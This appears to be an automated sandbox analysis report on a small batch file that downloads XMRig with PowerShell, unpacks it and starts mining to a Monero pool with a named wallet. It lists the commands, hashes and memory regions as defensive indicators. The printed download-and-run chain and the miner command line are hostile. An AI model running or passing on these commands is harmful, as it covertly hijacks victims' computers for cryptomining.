Analysis

  • max time kernel
    1796s
  • max time network
    1806s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 13:16

General

  • Target

    tesy - Copy (2).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4600
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4592
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3944
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:5112

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          56efdb5a0f10b5eece165de4f8c9d799

          SHA1

          fa5de7ca343b018c3bfeab692545eb544c244e16

          SHA256

          6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

          SHA512

          91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          6d7a556304217ff1574e5be017f53a94

          SHA1

          0c02fd7b2d9d89929e7c720a7a6549291729445e

          SHA256

          947038065b4a3df276efa777ddbf16681d06078eb3bc9fa6edcf10b4a012e4e5

          SHA512

          e4de3ea1402d9eb4292086cacc00d4e5dfe05b7438392bd777270a6fae2224cd42878f38d743590242f7b34cd40b7a3496bcc89641e20fa0c9a43c892eb697e0

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jejyavat.2yz.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

          Filesize

          1.3MB

          MD5

          5974251827992bb01e82c6438da8c935

          SHA1

          90079a90fda6e9583271736ff8e331580e5750dc

          SHA256

          f5349512820543675ea6f99711cdbfd44cf7df0bafd94be5381dda822a036653

          SHA512

          e187c2a76ec8a9bc71e2bfe928f6da6515b01f7e448ec5c8bab47d50d841c44276c0f640fab49b9000c1ff9bfba8f72eb4f252e1953706375b4b991f06bb2489

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

          Filesize

          549KB

          MD5

          ff50b3e6d03db78315009584d3bdeb8f

          SHA1

          c7125b094c54208bc3c8297a979fd91540144ce6

          SHA256

          8cd15a02884ab54a1def83a590d3d5095926dfb3247468289c015f212be0cce6

          SHA512

          fd937996c8d583815346fd5fbf9de89a8f5833860db3dfcebe10c42b50f71644aead187075a8550d7ffafcaf0dae99f49273f7d2a1e8c4d13a9c56cfb9f2a08f

        • memory/3944-40-0x00007FF8AE990000-0x00007FF8AF37C000-memory.dmp

          Filesize

          9.9MB

        • memory/3944-41-0x00000172DF9B0000-0x00000172DF9C0000-memory.dmp

          Filesize

          64KB

        • memory/3944-42-0x00000172DF9B0000-0x00000172DF9C0000-memory.dmp

          Filesize

          64KB

        • memory/3944-117-0x00007FF8AE990000-0x00007FF8AF37C000-memory.dmp

          Filesize

          9.9MB

        • memory/3944-80-0x00000172DFB00000-0x00000172DFB12000-memory.dmp

          Filesize

          72KB

        • memory/3944-93-0x00000172DF980000-0x00000172DF98A000-memory.dmp

          Filesize

          40KB

        • memory/3944-66-0x00000172DF9B0000-0x00000172DF9C0000-memory.dmp

          Filesize

          64KB

        • memory/4592-4-0x000001CD69B90000-0x000001CD69BB2000-memory.dmp

          Filesize

          136KB

        • memory/4592-26-0x00007FF8AE990000-0x00007FF8AF37C000-memory.dmp

          Filesize

          9.9MB

        • memory/4592-25-0x000001CD69A30000-0x000001CD69A40000-memory.dmp

          Filesize

          64KB

        • memory/4592-10-0x000001CD69A30000-0x000001CD69A40000-memory.dmp

          Filesize

          64KB

        • memory/4592-8-0x00007FF8AE990000-0x00007FF8AF37C000-memory.dmp

          Filesize

          9.9MB

        • memory/4592-7-0x000001CD69E60000-0x000001CD69ED6000-memory.dmp

          Filesize

          472KB

        • memory/4592-9-0x000001CD69A30000-0x000001CD69A40000-memory.dmp

          Filesize

          64KB

        • memory/4592-27-0x000001CD69A30000-0x000001CD69A40000-memory.dmp

          Filesize

          64KB

        • memory/4592-28-0x000001CD69A30000-0x000001CD69A40000-memory.dmp

          Filesize

          64KB

        • memory/4592-29-0x000001CD69A30000-0x000001CD69A40000-memory.dmp

          Filesize

          64KB

        • memory/4592-34-0x00007FF8AE990000-0x00007FF8AF37C000-memory.dmp

          Filesize

          9.9MB

        • memory/5112-143-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-155-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-122-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-123-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-124-0x00000242B7C00000-0x00000242B7C20000-memory.dmp

          Filesize

          128KB

        • memory/5112-125-0x00000242B7C20000-0x00000242B7C40000-memory.dmp

          Filesize

          128KB

        • memory/5112-126-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-127-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-129-0x00000242B7C20000-0x00000242B7C40000-memory.dmp

          Filesize

          128KB

        • memory/5112-128-0x00000242B7C00000-0x00000242B7C20000-memory.dmp

          Filesize

          128KB

        • memory/5112-130-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-131-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-132-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-133-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-134-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-135-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-136-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-137-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-138-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-139-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-140-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-141-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-142-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-120-0x00000242B7B70000-0x00000242B7B90000-memory.dmp

          Filesize

          128KB

        • memory/5112-144-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-145-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-146-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-147-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-148-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-149-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-150-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-151-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-152-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-153-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-154-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-121-0x00000242B7BC0000-0x00000242B7C00000-memory.dmp

          Filesize

          256KB

        • memory/5112-156-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-157-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-158-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-159-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-160-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-161-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-162-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-163-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-164-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-165-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-166-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-167-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-168-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-169-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-170-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-171-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-172-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-173-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-174-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-175-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-176-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-177-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-178-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-179-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-180-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-181-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-182-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-183-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-184-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-185-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-186-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-187-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB

        • memory/5112-188-0x00007FF7E3330000-0x00007FF7E3E33000-memory.dmp

          Filesize

          11.0MB